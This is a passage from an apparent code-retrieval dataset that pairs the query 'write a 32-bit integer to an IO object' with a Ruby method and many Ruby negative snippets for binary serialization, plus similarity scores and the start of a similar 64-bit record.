"def write_raw_short(val)\n buffer << [val].pack(\"S>\")\n end",
"def read_int16\n read('n', 2)\n end",
"def write_i(i)\n z.write i.p32\nend",
"def write(file)\n value.each do |item|\n # always write int4 in network order (as per GDSII spec)\n file.write [item].pack('N')\n end\n end",
"def write_int8(int)\n write([int].pack(\"C\"))\n end",
"def i16u\n little? ? BinUtils.get_int16_le(read(2)) : BinUtils.get_int16_be(read(2))\n end",
"def write_string(string)\n if string.nil?\n write_int16(-1)\n else\n write_int16(string.bytesize)\n write(string)\n end\n end",
"def write_varint(int)\n int = int << 1\n int = ~int | 1 if int < 0\n\n chunks = []\n while int >> 7 != 0\n chunks << (int & 0x7f | 0x80)\n int >>= 7\n end\n chunks << int\n write(chunks.pack(\"C*\"))\n end",
"def read_sint16(position = nil)\n seek(position)\n data = read_and_advance(2)\n BinData::Int16be.read(data).to_i\n end",
"def write_int(file, int, md)\n int = [int].pack('N')\n md << int\n file.write(int)\n end",
"def read_uint16(position = nil)\n seek(position)\n data = read_and_advance(2)\n BinData::Uint16be.read(data).to_i\n end",
"def write_varint(i, data: nil, stream: nil)\n buf = encode_varint(i)\n data << buf if data\n stream.write(buf) if stream\n buf\n end",
"def i16\n i16s\n end",
"def write_word16_native(val)\n pw(val, 'S')\n end",
"def write_int32(int)\n write([int].pack(\"l>\"))\n end",
"def write_int64(int)\n write([int].pack(\"q>\"))\n end",
"def i16u\n r = little? ? BinUtils.get_int16_le(@data, @pos) : BinUtils.get_int16_be(@data, @pos)\n @pos += 2\n r\n end",
"def write_int(value) \n write_bytecode_to(INTEGER, @temp_bytecode)\n write_4B_to(value, @temp_bytecode)\n end",
"def i16\n next_bytes(2).unpack(\"s>\").first\n end",
"def write(file)\n # write the length & header; always write length (int2) as network\n # order (as per GDSII spec)\n file.write [self.byte_size].pack('n')\n file.write [self.type].pack('c')\n file.write [self.data.type].pack('c')\n\n # now write the data...\n @data.write(file)\n end",
"def write_to(stream)\n stream.write_int(TAG)\n end",
"def write_to(stream)\n stream.write_int(TAG)\n end",
"def write_to(stream)\n stream.write_int(TAG)\n end",
"def write_to(stream)\n stream.write_int(TAG)\n stream.write_bool(@enable)\n end",
"def digital_write(value)\n set_mode('w') unless @mode == 'w'\n\n if value.is_a? Symbol\n value = (value == :high) ? 1 : 0\n end\n\n value = value.to_i\n\n raise StandardError unless ([HIGH, LOW].include? value)\n\n @status = (value == 1) ? 'high' : 'low'\n\n @pin_file.write(value)\n @pin_file.flush\n end",
"def write!\n @dev = File.open(@device, \"w\") if (@dev.nil? || @dev.closed?)\n @dev.write @bytes.pack(\"c*\")\n @dev.flush\n end",
"def write(io)\n wu32(io, MAGIC_NUMBER)\n wu16(io, VERSION_MAJOR)\n wu16(io, VERSION_MINOR)\n wi32(io, THIS_ZONE)\n wu32(io, sigfigs)\n wu32(io, snaplen)\n wu32(io, network)\n end",
"def set_int(offset, value)\n @contents.pos = offset\n # convert the value to bytes\n @contents.write [value].pack('l')\n end",
"def i16s\n r = little? ? BinUtils.get_sint16_le(@data, @pos) : BinUtils.get_sint16_be(@data, @pos)\n @pos += 2\n r\n end",
"def write_short(file, short, md)\n short = [short].pack('n')\n md << short\n file.write(short)\n end",
"def convert_and_write_float_sample_16bit(float_sample, mode='file')\n\t\t# converts sample to 16-bit integer and calls encode-and-write method\n\t\t# positive values have one conversion equation...\n\t\tif float_sample >= 0\n\t\t\tint_sample = (float_sample * 32767.to_f).round\n\t\t\t# write rounded value to file\n\t\t\tencode_and_write_int16(int_sample, mode)\n\t\t# ...negative values have another\n\t\telsif float_sample < 0\n\t\t\tint_sample = (((float_sample + 1.to_f) * 32767.to_f) +\n\t\t\t\t32768.to_f).round\n\t\t\t# write rounded value to file\n\t\t\tencode_and_write_int16(int_sample, mode)\n\t\tend\n\tend",
"def write(io)\n io = BinData::IO.new(io) unless BinData::IO === io\n\n do_write(io)\n io.flush\n self\n end",
"def i16s\n little? ? BinUtils.get_sint16_le(read(2)) : BinUtils.get_sint16_be(read(2))\n end",
"def write(handle, offset, data)\n send_request(FXP_WRITE, :string, handle, :int64, offset, :string, data)\n end",
"def write_magic_number(outf)\n outf.write([0xA115ca1e].pack(\"l\"))\nend",
"def write_magic_number(outf)\n outf.write([0xA115ca1e].pack(\"l\"))\nend",
"def write= w\n @write = (w == 1) ? 1 : 0\n end",
"def u16\n next_bytes(2).unpack(\"S>\").first\n end",
"def write_to io\n io.write(self.to_2da)\n end",
"def write_byte(byte)\n write [byte].pack(\"C\")\n end",
"def write(io)\n write_with_crc(io, content || '')\n end",
"def write(val)\n @file.seek(@address)\n @file.putc(val)\n @file.flush\n end",
"def write32(data, options = {})\n dw \"w4 0x#{extract_address(data, options).to_s(16).upcase}, 0x#{extract_data(data, options).to_s(16).upcase}\"\n end",
"def read16\n\tval = (getc() << 8) + getc()\n\tval = -(val & 0x7fff) if (val & 0x8000).nonzero?\n\treturn val\n end",
"def write_byte(*n); end",
"def uint16(*payloads)\n fixnums(2, FormatStrings::UINT16, payloads)\n end",
"def write_to(io)\n\t@io = io\n\t@bytes_written = 0\n\twrite_header()\n\t@update_block.call(nil, @seq.tracks.length, 0) if @update_block\n\t@seq.tracks.each_with_index do |track, i|\n write_track(track)\n @update_block.call(track, @seq.tracks.length, i) if @update_block\n\tend\n end",
"def write_to(io)\n\t@io = io\n\t@bytes_written = 0\n\twrite_header()\n\t@update_block.call(nil, @seq.tracks.length, 0) if @update_block\n\t@seq.tracks.each_with_index do |track, i|\n write_track(track)\n @update_block.call(track, @seq.tracks.length, i) if @update_block\n\tend\n end",
"def write(io)\n write_with_crc(io, content || \"\")\n end",
"def encode_and_write_int32(int, mode='file', byte_offset=@file_offset)\n\t\t# make sure 'byte' arrays are clear\n\t\t@byte1.clear\n\t\t@byte2.clear\n\t\t@byte3.clear\n\t\t@byte4.clear\n\t\t# convert int argument into binary, put in arrays\n\t\t31.downto(24) do |x| @byte1.push(int[x]) end\n\t\t23.downto(16) do |x| @byte2.push(int[x]) end\n\t\t15.downto(8) do |x| @byte3.push(int[x]) end\n\t\t7.downto(0) do |x| @byte4.push(int[x]) end\n\n\t\t# order the bytes in little-endian fashion (reverse order), join\n\t\tcorrect_endianness_binary = [@byte4, @byte3, @byte2, @byte1]\n\t\tif mode == 'file'\n\t\t\t# join and pack bytes\n\t\t\tbinary_to_write = [correct_endianness_binary.join].pack(\"B*\")\n\t\t\t# write binary to file with correct offset\n\t\t\tFile.write(@filename, binary_to_write, byte_offset)\n\t\t\t# increment offset for next method call\n\t\t\t@file_offset += 4\n\t\telsif mode == 'dataBlock'\n\t\t\t# push string into dataBlock_array\n\t\t\t@dataBlock_array.push(correct_endianness_binary.join)\n\t\tend\n\tend",
"def write_number(numeric)\n\t\twrite_byte(0)\n\t\twrite_double(numeric)\n\tend",
"def read16(data, options = {})\n read_memory(extract_address(data, options), number: 2)\n end",
"def to_i\n handle.to_i(16)\n end",
"def category16=(value)\n @category16 = value\n end",
"def write_hdr(field, value)\n @header_data.write_int(field, value)\n @header_modified = true\n end",
"def write(value)\n # pass\n end",
"def write(bytes)\n @serial_port.write(bytes)\n end",
"def write(bytes)\r\n end",
"def write_to(stream)\n stream.write_int(TAG)\n @data.write_to(stream)\n end",
"def encode_short(val)\n raise 'Value too big for short' if val > 0xffff\n [val.to_i].pack('n')\n end",
"def to_utf16\r\n Iconv.iconv(\"utf-16LE\", \"utf-8\", self).first + \"\\x00\\x00\"\r\n end",
"def write(value, options = {})\n # If an array is written it means a data value and an overlay have been supplied\n # in one go...\n if value.is_a?(Array) && !value.is_a?(BitCollection)\n overlay(value[1])\n value = value[0]\n end\n value = value.data if value.respond_to?('data')\n\n with_lsb0 do\n size.times do |i|\n self[i].write(value[i], options)\n end\n end\n self\n end",
"def write(bytes)\n @io.write(bytes)\n\n nil\n end",
"def putc(obj)\n if obj.is_a?(Numeric)\n write((obj.to_i & 0xff).chr)\n else\n write(obj.to_s.byteslice(0))\n end\n end",
"def write_to(io)\n end",
"def write_to(io)\n end",
"def write(d)\n @writer << d\n d.bytesize\n end",
"def write(data)\n @handle.writeData(data)\n end",
"def write_item item_code, index\n write_raw_value item_code, index*16\n end",
"def set(value)\n @read.close\n @write.write value\n end",
"def write(var, val)\r\n begin\r\n @serial.write \"#{var} #{val}\\r\\n\"\r\n puts \"#{var} #{val}\"\r\n rescue StandardError => e\r\n # Ruby does not implement write timeouts, so this exception\r\n # probably will never be raised.\r\n puts \"Cannot write (#{e.to_s}). Aborting.\"\r\n self.close\r\n end\r\n end",
"def write_to(io, *options); end",
"def send(packet)\n id = Common.packet_to_id(packet)\n data = [id, [packet.to_a]].to_msgpack\n\n @stream.write Common.encode_u16(data.length)\n @stream.write data\n end",
"def send_bitfield(socket)\n if $verb\n puts \"Sent bitfield message\"\n end\n bitfield_length = (@fileio.getBitfield.get_num_of_bits + 7) / 8\n bitfield_data = @fileio.getBitfield.to_binary_data\n socket.write([(1 + bitfield_length), 5].pack(\"Nc\") + bitfield_data)\n end",
"def binwrite(data, *args, **kwd); end",
"def hex\n to_i.to_s(16)\n end",
"def short\n Util.from_bytes :short, value\n end",
"def encode_varint(i)\n raise ArgumentError, \"int must be present\" if !i\n raise ArgumentError, \"int must be non-negative\" if i < 0\n\n buf = if i < 0xfd\n [i].pack(\"C\")\n elsif i <= 0xffff\n [0xfd, i].pack(\"Cv\")\n elsif i <= 0xffffffff\n [0xfe, i].pack(\"CV\")\n elsif i <= 0xffffffffffffffff\n [0xff, i].pack(\"CQ<\")\n else\n raise ArgumentError, \"Does not support integers larger 0xffffffffffffffff (i = 0x#{i.to_s(16)})\"\n end\n\n buf\n end",
"def send(inc)\n @h.usb_control_msg(0x21, 0x09, 0x02, 0x01, (message_base << inc).bytes_to_string, 0)\n end",
"def do_write(io)\n raise ArgumentError, \"io must be a BinData::IO\" unless BinData::IO === io\n\n if eval_param(:onlyif)\n _do_write(io)\n end\n end",
"def _do_write(io)\n raise NotImplementedError\n end",
"def write(string)\n @handle.write(string)\n end",
"def write(io)\n @values.each {|el|\n el.write io\n }\n end",
"def write_bytes(bytes)\n if bytes.nil?\n write_int32(-1)\n else\n write_int32(bytes.bytesize)\n write(bytes)\n end\n end",
"def write_int64(*n); end",
"def write( message )\n bytes_written = -1\n begin\n client = TCPSocket.new( @ip_address, @port )\n print_bytes( message )\n bytes_written = client.write message.pack( 'C*' )\n client.close\n rescue Exception => e\n @logger.write1 \"MoxaSerialPort::#{__method__}:: caught exception: #{e.message}\"\n end\n return bytes_written\n end",
"def write(io)\n @values.each {|field|\n field.write io\n }\n end",
"def write(data)\n #@sock.write(data)\n\tputs \"channel data: #{str2hex(data)}\"\n end",
"def write_with_crc(io, content)\n io << [content.length].pack('N') << type << content\n io << [Zlib.crc32(content, Zlib.crc32(type))].pack('N')\n end",
"def write_number number\n if number >= MIN_INTEGER && number <= MAX_INTEGER #check valid range for 29 bits\n write_integer number\n else #overflow to a double\n write_double number \n end\n end",
"def write_with_crc(io, content)\n io << [content.length].pack(\"N\") << type << content\n io << [Zlib.crc32(content, Zlib.crc32(type))].pack(\"N\")\n end",
"def write(data)\n end",
"def write(data)\n generic_write(data, 1) { |data| Krypt::Hex.encode(data) }\n end"
] |
[
"0.70209384",
"0.68871415",
"0.68432695",
"0.63513136",
"0.62037164",
"0.60883254",
"0.5981403",
"0.59678274",
"0.5954523",
"0.59169126",
"0.5911222",
"0.5844161",
"0.58246",
"0.5823545",
"0.57841533",
"0.5775634",
"0.57191944",
"0.571265",
"0.5712276",
"0.5706617",
"0.56954646",
"0.56767213",
"0.5666103",
"0.56467795",
"0.56107074",
"0.55842406",
"0.55618846",
"0.5543023",
"0.5543023",
"0.5543023",
"0.54578614",
"0.54490906",
"0.5441859",
"0.5437405",
"0.5380157",
"0.53747106",
"0.5373899",
"0.5373283",
"0.53578764",
"0.5333366",
"0.5305791",
"0.5273066",
"0.5273066",
"0.5241118",
"0.5193989",
"0.51874125",
"0.5168177",
"0.5150626",
"0.51496273",
"0.51331663",
"0.51180345",
"0.5112619",
"0.5100393",
"0.50904584",
"0.50904584",
"0.5089758",
"0.5083095",
"0.5063334",
"0.50540006",
"0.5049024",
"0.5041422",
"0.503444",
"0.5030933",
"0.5014581",
"0.501451",
"0.50126195",
"0.49977684",
"0.4942709",
"0.49281076",
"0.49225134",
"0.49119046",
"0.49093843",
"0.49093843",
"0.4907143",
"0.49010256",
"0.48996532",
"0.48964906",
"0.48713878",
"0.48585567",
"0.48578155",
"0.4834058",
"0.48055542",
"0.47960111",
"0.47940898",
"0.47722062",
"0.4770382",
"0.47691637",
"0.47652605",
"0.47645026",
"0.4763735",
"0.47631085",
"0.47584128",
"0.47517693",
"0.47384492",
"0.47319368",
"0.47290453",
"0.47189614",
"0.47135046",
"0.47000954",
"0.46933374"
] |
0.826333
|
0
|
Writes a 32bit integer to the IO object.
|
def write_int32(int)
write([int].pack("l>"))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def int32(val)\n raise ArgumentError, \"int32() requires an Integer argument\" \\\n unless val.is_a?(Integer)\n raise RangeError, \"argument to int32() must be in the range \" +\n \"-2**31 <= arg <= 2**31-1\" \\\n unless val >= -2**31 && val <= 3**31-1\n\n # Ruby's pack doesn't give us a big-endian signed integer, so we\n # encode a native signed integer and conditionally swap it\n @io.write([val].pack(\"i\").unpack(\"N\").pack(\"L\"))\n\n self\n end",
"def write_int(value, stream = @index)\n stream.write([value].pack('L'))\n end",
"def write32(val)\n\tval = (-val) | 0x80000000 if val < 0\n\tputc((val >> 24) & 0xff)\n\tputc((val >> 16) & 0xff)\n\tputc((val >> 8) & 0xff)\n\tputc(val & 0xff)\n end",
"def write_int64(int)\n write([int].pack(\"q>\"))\n end",
"def encode_and_write_int32(int, mode='file', byte_offset=@file_offset)\n\t\t# make sure 'byte' arrays are clear\n\t\t@byte1.clear\n\t\t@byte2.clear\n\t\t@byte3.clear\n\t\t@byte4.clear\n\t\t# convert int argument into binary, put in arrays\n\t\t31.downto(24) do |x| @byte1.push(int[x]) end\n\t\t23.downto(16) do |x| @byte2.push(int[x]) end\n\t\t15.downto(8) do |x| @byte3.push(int[x]) end\n\t\t7.downto(0) do |x| @byte4.push(int[x]) end\n\n\t\t# order the bytes in little-endian fashion (reverse order), join\n\t\tcorrect_endianness_binary = [@byte4, @byte3, @byte2, @byte1]\n\t\tif mode == 'file'\n\t\t\t# join and pack bytes\n\t\t\tbinary_to_write = [correct_endianness_binary.join].pack(\"B*\")\n\t\t\t# write binary to file with correct offset\n\t\t\tFile.write(@filename, binary_to_write, byte_offset)\n\t\t\t# increment offset for next method call\n\t\t\t@file_offset += 4\n\t\telsif mode == 'dataBlock'\n\t\t\t# push string into dataBlock_array\n\t\t\t@dataBlock_array.push(correct_endianness_binary.join)\n\t\tend\n\tend",
"def put_i32(arg)\n @data += [arg].pack(\"N\")\n self\n end",
"def uint32(val)\n raise ArgumentError, \"uint32() requires an Integer argument\" \\\n unless val.is_a?(Integer)\n raise RangeError, \"argument to uint32() must be in the range \" +\n \"0 <= arg <= 2**32-1\" \\\n unless val >= 0 && val <= 2**32-1\n\n @io.write([val].pack(\"N\"))\n\n self\n end",
"def write_i(i)\n z.write i.p32\nend",
"def write_int(file, int, md)\n int = [int].pack('N')\n md << int\n file.write(int)\n end",
"def write_int16(int)\n write([int].pack(\"s>\"))\n end",
"def write_int(value) \n @codegen.write_int(value)\n end",
"def write_varint(int)\n int = int << 1\n int = ~int | 1 if int < 0\n\n chunks = []\n while int >> 7 != 0\n chunks << (int & 0x7f | 0x80)\n int >>= 7\n end\n chunks << int\n write(chunks.pack(\"C*\"))\n end",
"def write_int64(*n); end",
"def write_int(value) \n write_bytecode_to(INTEGER, @temp_bytecode)\n write_4B_to(value, @temp_bytecode)\n end",
"def encode_uint32(value)\n [value].pack(\"L>\")\n end",
"def write_word32_native(val)\n pw(val, 'L')\n end",
"def write32(data, options = {})\n dw \"w4 0x#{extract_address(data, options).to_s(16).upcase}, 0x#{extract_data(data, options).to_s(16).upcase}\"\n end",
"def write_varint(i, data: nil, stream: nil)\n buf = encode_varint(i)\n data << buf if data\n stream.write(buf) if stream\n buf\n end",
"def write_int8(int)\n write([int].pack(\"C\"))\n end",
"def set_int(offset, value)\n @contents.pos = offset\n # convert the value to bytes\n @contents.write [value].pack('l')\n end",
"def add_int32(_tag, _val)\n raise NotImplementedError\n end",
"def encode_and_write_int16(int, mode='file')\n\t\t# make sure 'byte' arrays are clear\n\t\t@byte1.clear\n\t\t@byte2.clear\n\t\t# convert int argument into binary, put in arrays\n\t\t15.downto(8) do |x| @byte1.push(int[x]) end\n\t\t7.downto(0) do |x| @byte2.push(int[x]) end\n\n\t\t# order the bytes in little-endian fashion, join\n\t\tcorrect_endianness_binary = [@byte2, @byte1]\n\n\t\tif mode == 'file'\n\t\t\t# join and pack bytes\n\t\t\tbinary_to_write = [correct_endianness_binary.join].pack(\"B*\")\n\t\t\t# write binary to file with correct offset\n\t\t\tFile.write(@filename, binary_to_write, @file_offset)\n\t\t\t# increment offset for next method call\n\t\t\t@file_offset += 2\n\t\telsif mode == 'dataBlock'\n\t\t\t# push string into dataBlock_array\n\t\t\t@dataBlock_array.push(correct_endianness_binary.join)\n\t\tend\n\tend",
"def write_magic_number(outf)\n outf.write([0xA115ca1e].pack(\"l\"))\nend",
"def write_magic_number(outf)\n outf.write([0xA115ca1e].pack(\"l\"))\nend",
"def write(io)\n io.write [@value].pack(format)\n end",
"def write_long(*n); end",
"def i32u\n little? ? BinUtils.get_int32_le(read(4)) : BinUtils.get_int32_be(read(4))\n end",
"def int32()\n _int32(\"int32\")\n end",
"def write_bytes(bytes)\n if bytes.nil?\n write_int32(-1)\n else\n write_int32(bytes.bytesize)\n write(bytes)\n end\n end",
"def write_number number\n if number >= MIN_INTEGER && number <= MAX_INTEGER #check valid range for 29 bits\n write_integer number\n else #overflow to a double\n write_double number \n end\n end",
"def write(io)\n wu32(io, MAGIC_NUMBER)\n wu16(io, VERSION_MAJOR)\n wu16(io, VERSION_MINOR)\n wi32(io, THIS_ZONE)\n wu32(io, sigfigs)\n wu32(io, snaplen)\n wu32(io, network)\n end",
"def read_int32\n read('N', 4)\n end",
"def _int32(typename)\n # Ruby's unpack doesn't give us a big-endian signed integer, so we\n # decode a native signed integer and conditionally swap it\n _read_type(4, typename).unpack(\"N\").pack(\"L\").unpack(\"l\").first\n end",
"def write_to(stream)\n stream.write_int(TAG)\n end",
"def write_to(stream)\n stream.write_int(TAG)\n end",
"def write_to(stream)\n stream.write_int(TAG)\n end",
"def put_i64(arg)\n @data += [(arg >> 32) & UINT_MASK, arg & UINT_MASK].pack(\"NN\")\n self\n end",
"def write(file)\n value.each do |item|\n # always write int4 in network order (as per GDSII spec)\n file.write [item].pack('N')\n end\n end",
"def write_with_crc(io, content)\n io << [content.length].pack('N') << type << content\n io << [Zlib.crc32(content, Zlib.crc32(type))].pack('N')\n end",
"def write_with_crc(io, content)\n io << [content.length].pack(\"N\") << type << content\n io << [Zlib.crc32(content, Zlib.crc32(type))].pack(\"N\")\n end",
"def write_raw_short(val)\n buffer << [val].pack(\"S>\")\n end",
"def make_signed_int32(long); end",
"def i32u\n r = little? ? BinUtils.get_int32_le(@data, @pos) : BinUtils.get_int32_be(@data, @pos)\n @pos += 4\n r\n end",
"def put_int64(*ints)\n ints.each { |i| @request << [i].pack('q').reverse }#[i >> 32, i & ((1 << 32) - 1)].pack('NN') }\n self\n end",
"def read_32int_le(file)\n file.read(4).unpack('L<')[0]\n end",
"def uint32(i)\n i & 0xffffffff\n end",
"def i32s\n little? ? BinUtils.get_sint32_le(read(4)) : BinUtils.get_sint32_be(read(4))\n end",
"def write(handle, offset, data)\n send_request(FXP_WRITE, :string, handle, :int64, offset, :string, data)\n end",
"def pack_int64le(val)\n [val & 0x00000000ffffffff, val >> 32].pack(\"V2\")\n end",
"def read32\n\tval = (getc() << 24) + (getc() << 16) + (getc() << 8) +\n getc()\n\tval = -(val & 0x7fffffff) if (val & 0x80000000).nonzero?\n\treturn val\n end",
"def write_word16_native(val)\n pw(val, 'S')\n end",
"def net_pack_int(int)\n net_error \"#{__method__}: '#{int}' is too low allowed range #{NET_MIN_INT}-#{NET_MAX_INT}\" if int < NET_MIN_INT\n net_error \"#{__method__}: '#{int}' is too high allowed range #{NET_MIN_INT}-#{NET_MAX_INT}\" if int > NET_MAX_INT\n int += NET_INT_OFFSET\n int.chr\nend",
"def read_uint32(position = nil)\n seek(position)\n data = read_and_advance(4)\n BinData::Uint32be.read(data).to_i\n end",
"def i32\n next_bytes(4).unpack(\"l>\").first\n end",
"def write_number(numeric)\n\t\twrite_byte(0)\n\t\twrite_double(numeric)\n\tend",
"def i32s\n r = little? ? BinUtils.get_sint32_le(@data, @pos) : BinUtils.get_sint32_be(@data, @pos)\n @pos += 4\n r\n end",
"def putc(obj)\n if obj.is_a?(Numeric)\n write((obj.to_i & 0xff).chr)\n else\n write(obj.to_s.byteslice(0))\n end\n end",
"def write_varint_string(string)\n if string.nil?\n write_varint(-1)\n else\n write_varint(string.bytesize)\n write(string)\n end\n end",
"def to_i\n handle.to_i(16)\n end",
"def write(io)\n write_with_crc(io, content || '')\n end",
"def write_byte(*n); end",
"def write16(val)\n\tval = (-val) | 0x8000 if val < 0\n\tputc((val >> 8) & 0xff)\n\tputc(val & 0xff)\n end",
"def put_f32(arg)\n @data += [arg].pack(\"g\")\n self\n end",
"def uint32()\n _uint32(\"uint32\")\n end",
"def set_bit integer, i\n integer | 0x80000000 >> i\n end",
"def write(io)\n write_with_crc(io, content || \"\")\n end",
"def binwrite(data, *args, **kwd); end",
"def write_varint_bytes(bytes)\n if bytes.nil?\n write_varint(-1)\n else\n write_varint(bytes.bytesize)\n write(bytes)\n end\n end",
"def write(data)\r\n Win32API.new(\"msvcrt\", \"_write\", \"lpl\", \"l\").call(@fd, data, 1)\r\n end",
"def as_int\n return @as_int unless @as_int.nil?\n _pos = @_io.pos\n @_io.seek(0)\n @as_int = @_io.read_u2be\n @_io.seek(_pos)\n @as_int\n end",
"def write(val)\n @file.seek(@address)\n @file.putc(val)\n @file.flush\n end",
"def as_int\n return @as_int unless @as_int.nil?\n _pos = @_io.pos\n @_io.seek(0)\n @as_int = @_io.read_u1\n @_io.seek(_pos)\n @as_int\n end",
"def convert_and_write_float_sample_32bit(float_sample, mode='file')\n\t\t# converts sample to 32-bit integer and calls encode-and-write method\n\t\t# positive values have one conversion equation...\n\t\tif float_sample >= 0\n\t\t\tint_sample = (float_sample * 2147483647.to_f).round\n\t\t\t# write rounded value to file\n\t\t\tencode_and_write_int32(int_sample, mode)\n\t\t# ...negative values have another\n\t\telsif float_sample < 0\n\t\t\tint_sample = (((float_sample + 1.to_f) * 2147483647.to_f) +\n\t\t\t\t2147483648.to_f).round\n\t\t\t# write rounded value to file\n\t\t\tencode_and_write_int32(int_sample, mode)\n\t\tend\n\tend",
"def as_int\n return @as_int unless @as_int.nil?\n _pos = @_io.pos\n @_io.seek(0)\n @as_int = @_io.read_u1\n @_io.seek(_pos)\n @as_int\n end",
"def write= w\n @write = (w == 1) ? 1 : 0\n end",
"def u32\n next_bytes(4).unpack(\"L>\").first\n end",
"def pack_dword(w)\n [w & 255, w >> 8].pack(\"c*\")\n end",
"def write(var, val)\r\n begin\r\n @serial.write \"#{var} #{val}\\r\\n\"\r\n puts \"#{var} #{val}\"\r\n rescue StandardError => e\r\n # Ruby does not implement write timeouts, so this exception\r\n # probably will never be raised.\r\n puts \"Cannot write (#{e.to_s}). Aborting.\"\r\n self.close\r\n end\r\n end",
"def write( socket, operation, arg = nil )\n socket.write( [ 42 ].pack( \"C\" ) ) # magic num\n socket.write( [ 137 ].pack( \"C\" ) ) # magic num\n socket.write( [ operation ].pack( \"C\" ) ) # op byte (0 | 1 | 2)\n if not arg.nil?\n socket.write( [ arg.length ].pack( \"L\" ) )\n socket.write( arg )\n end\nend",
"def write(bits)\n @role.send(:packed=, bits, false)\n end",
"def read_int64; end",
"def write_word(addr, word)\n write_byte addr, ( word & 0xFF )\n write_byte addr + 1, ( word >> 8 )\n end",
"def record_write bytes\n @reader.record_write bytes, @state\n end",
"def put_int(*ints)\n ints.each { |i| @request << [i].pack('N') }\n self\n end",
"def syswrite(p0) end",
"def syswrite(p0) end",
"def syswrite(p0) end",
"def float32(val)\n raise ArgumentError, \"float32() requires a Numeric argument\" \\\n unless val.is_a?(Numeric)\n\n @io.write([val].pack(\"g\"))\n\n self\n end",
"def write_4016(_addr, val)\r\n @out = val & 7\r\n @device.write(@out)\r\n end",
"def puts( obj )\n return unless writeable?\n\n data = Marshal.dump(obj)\n @socket.write([data.size].pack('I')) + @socket.write(data)\n rescue SystemCallError\n return nil\n end",
"def varint(io)\n # https://github.com/ruby-protobuf/protobuf/blob/master/lib/protobuf/varint_pure.rb\n value = index = 0\n begin\n byte = io.readbyte\n value |= (byte & 0x7f) << (7 * index)\n index += 1\n end while (byte & 0x80).nonzero?\n value\n end",
"def get_i32\n res, @data = @data.unpack(\"Na*\")\n self.underrun! unless res\n res - ((res & INT_MASK) << 1)\n end",
"def pack_int64_bigendian(value)\n (0..7).map { |index| (value >> (index * 8)) & 0xFF }.reverse.map(&:chr).join\n end",
"def write_hdr(field, value)\n @header_data.write_int(field, value)\n @header_modified = true\n end",
"def i32\n i32s\n end",
"def convert_int(int)\n [int].pack('s>')\n end",
"def add_int(tag, value)\n value = value.to_i\n type = Type::POSITIVE_NUMBER\n if value < 0\n type = Type::NEGATIVE_NUMBER\n value *= -1\n end\n\n write_tag(tag, type)\n Varint.serialize(@io, value.abs)\n\n self\n end",
"def write_bignum(*n); end",
"def write_to(stream)\n stream.write_int(TAG)\n stream.write_bool(@enable)\n end",
"def int(*ints)\n format = ( little_endian? ? 'V*' : 'N*') \n return string(ints.pack(format))\n end"
] |
[
"0.7225985",
"0.721072",
"0.7194844",
"0.69908506",
"0.6926294",
"0.6872787",
"0.67737365",
"0.67489505",
"0.6748842",
"0.6649834",
"0.6597686",
"0.6584023",
"0.65757567",
"0.645551",
"0.6442932",
"0.6356821",
"0.6314031",
"0.629214",
"0.62657666",
"0.6098168",
"0.5954551",
"0.59467053",
"0.58579844",
"0.58579844",
"0.58426756",
"0.5812292",
"0.5759965",
"0.57571155",
"0.56566155",
"0.5645205",
"0.5637743",
"0.5627761",
"0.56230664",
"0.56169784",
"0.56169784",
"0.56169784",
"0.5615299",
"0.5602316",
"0.55823904",
"0.5568198",
"0.55581284",
"0.5528645",
"0.5518229",
"0.55114067",
"0.54625404",
"0.54499257",
"0.5413948",
"0.53818446",
"0.5346668",
"0.5341902",
"0.533559",
"0.53225094",
"0.53197205",
"0.5314192",
"0.529819",
"0.52893037",
"0.52846205",
"0.5272111",
"0.52465624",
"0.52462775",
"0.52287936",
"0.5222377",
"0.52182966",
"0.51687336",
"0.5165278",
"0.51635957",
"0.51549256",
"0.5147406",
"0.51306134",
"0.511511",
"0.51035523",
"0.5100315",
"0.50959015",
"0.5044927",
"0.50339353",
"0.50204253",
"0.5018648",
"0.5012553",
"0.50033486",
"0.4997755",
"0.49925745",
"0.49897888",
"0.49847776",
"0.4982981",
"0.4977446",
"0.4977349",
"0.4977349",
"0.49758616",
"0.4968335",
"0.49680647",
"0.49481595",
"0.49421734",
"0.4937798",
"0.49292806",
"0.4926277",
"0.49206877",
"0.49192905",
"0.4916026",
"0.49158052",
"0.49138662"
] |
0.83171153
|
0
|
Writes a 64bit integer to the IO object.
|
def write_int64(int)
write([int].pack("q>"))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_int64(*n); end",
"def put_i64(arg)\n @data += [(arg >> 32) & UINT_MASK, arg & UINT_MASK].pack(\"NN\")\n self\n end",
"def write_long(*n); end",
"def write_int(file, int, md)\n int = [int].pack('N')\n md << int\n file.write(int)\n end",
"def write_int(value, stream = @index)\n stream.write([value].pack('L'))\n end",
"def read_int64; end",
"def encode_uint64(value)\n [value].pack(\"Q>\")\n end",
"def write_varint(i, data: nil, stream: nil)\n buf = encode_varint(i)\n data << buf if data\n stream.write(buf) if stream\n buf\n end",
"def write_long(file, long, md)\n long = [long].pack('q>')\n md << long\n file.write(long)\n end",
"def put_int64(*ints)\n ints.each { |i| @request << [i].pack('q').reverse }#[i >> 32, i & ((1 << 32) - 1)].pack('NN') }\n self\n end",
"def get_int64\n raise EOFError if @position + 8 > @size\n hi, lo = @response[@position, 8].unpack('N*N*')\n @position += 8\n return (hi << 32) + lo\n end",
"def write_i(i)\n z.write i.p32\nend",
"def i64u\n little? ? BinUtils.get_int64_le(read(8)) : BinUtils.get_int64_be(read(8))\n end",
"def write_varint(int)\n int = int << 1\n int = ~int | 1 if int < 0\n\n chunks = []\n while int >> 7 != 0\n chunks << (int & 0x7f | 0x80)\n int >>= 7\n end\n chunks << int\n write(chunks.pack(\"C*\"))\n end",
"def write_int(value) \n @codegen.write_int(value)\n end",
"def int64(val)\n raise ArgumentError, \"int64() requires an Integer argument\" \\\n unless val.is_a?(Integer)\n raise RangeError, \"argument to int64() must be in the range \" +\n \"-2**63 <= arg <= 2**63-1\" \\\n unless val >= -2**63 && val <= 2**63-1\n\n # Convert val to an unsigned equivalent\n val += 2**64 if val < 0;\n\n self.uint64(val)\n end",
"def write_int32(int)\n write([int].pack(\"l>\"))\n end",
"def write_bignum(*n); end",
"def write_magic_number(outf)\n outf.write([0xA115ca1e].pack(\"l\"))\nend",
"def write_magic_number(outf)\n outf.write([0xA115ca1e].pack(\"l\"))\nend",
